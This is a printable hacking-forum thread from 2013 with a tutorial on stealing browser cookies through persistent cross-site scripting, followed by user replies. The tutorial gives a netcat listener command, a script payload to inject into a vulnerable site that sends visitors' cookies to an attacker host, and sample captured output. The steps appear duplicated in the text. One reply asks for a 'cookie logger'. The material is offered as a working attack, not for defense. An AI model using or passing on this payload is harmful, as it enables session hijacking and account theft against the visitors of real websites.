Steal cookies using XSS - Printable Version

Steal cookies using XSS - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials)
+--- Thread: Steal cookies using XSS (/Thread-Steal-cookies-using-XSS)

Pages: 1 2

Steal cookies using XSS - RogueCoder - 05-16-2013

This is nothing new really, but stealing cookie using cross-site scripting is an unbelievable simple task. You need two things

1. A website vulnerable to persistent cross-site scripting (Duh! obviously)
2. Netcat

Important: This method will only give you cookies that is not HttpOnly.

Step 1: Use netcat to listen to incoming traffic

Code:
$ nc -lv 4444

If you want to keep listening add the k option

Code:
$ nc -lvk 4444

Step 2: Infect the website

Code:
<script>new Image().src='http://attacker:port/?cookie=' + encodeURI(document.cookie);</script>

Replace attacker with domain or IP

When someone visits the site you will get a result looking something similar to this

Code:
# nc -lv 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 33362
GET /?cookie=username=someuser;%20uid=1 HTTP/1.1
Host: localhost:4444
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/cookie.php
Cookie: username=someuser; uid=1
Connection: keep-alive

Code:
$ nc -lv 4444

If you want to keep listening add the k option

Code:
$ nc -lvk 4444

Step 2: Infect the website

Code:
<script>new Image().src='http://attacker:port/?cookie=' + encodeURI(document.cookie);</script>

Replace attacker with domain or IP

When someone visits the site you will get a result looking something similar to this

Code:
# nc -lv 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 33362
GET /?cookie=username=someuser;%20uid=1 HTTP/1.1
Host: localhost:4444
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/cookie.php
Cookie: username=someuser; uid=1
Connection: keep-alive

RE: Steal cookies using XSS - Code_Hacker - 05-20-2013

Where you put the first code?

RE: Steal cookies using XSS - RogueCoder - 05-20-2013

@Code_Hacker, if it's the nc part you're refering to, you write that in your terminal

RE: Steal cookies using XSS - Code_Hacker - 05-21-2013

@shp0ngl3 are you referring to cmd?

RE: Steal cookies using XSS - RogueCoder - 05-21-2013

@Code_Hacker, if you're using windows, then yes

RE: Steal cookies using XSS - sneelika2013 - 12-21-2013

Okay,Thanks for the tuto.. U have any COOKIE LOGGER??

RE: Steal cookies using XSS - RogueCoder - 12-21-2013

(12-21-2013, 08:21 PM)sneelika2013 Wrote: Okay,Thanks for the tuto.. U have any COOKIE LOGGER??

Nope but there's a couple if you search the forums.. It's outside the scope of this tutorial

RE: Steal cookies using XSS - sneelika2013 - 12-22-2013

(12-21-2013, 08:38 PM)shp0ngl3 Wrote:
(12-21-2013, 08:21 PM)sneelika2013 Wrote: Okay,Thanks for the tuto.. U have any COOKIE LOGGER??

Nope but there's a couple if you search the forums.. It's outside the scope of this tutorial

Ok thanks man.. I check it out :Thumbs-Up:

RE: Steal cookies using XSS - godtheonlytruth - 12-23-2013

Code:
nc -lvp 4444

doesn't work as -p can not be used with -l as stated by nc man page.

Code:
nc -lv 4444

instead works well.
Thanks for the tut though Smile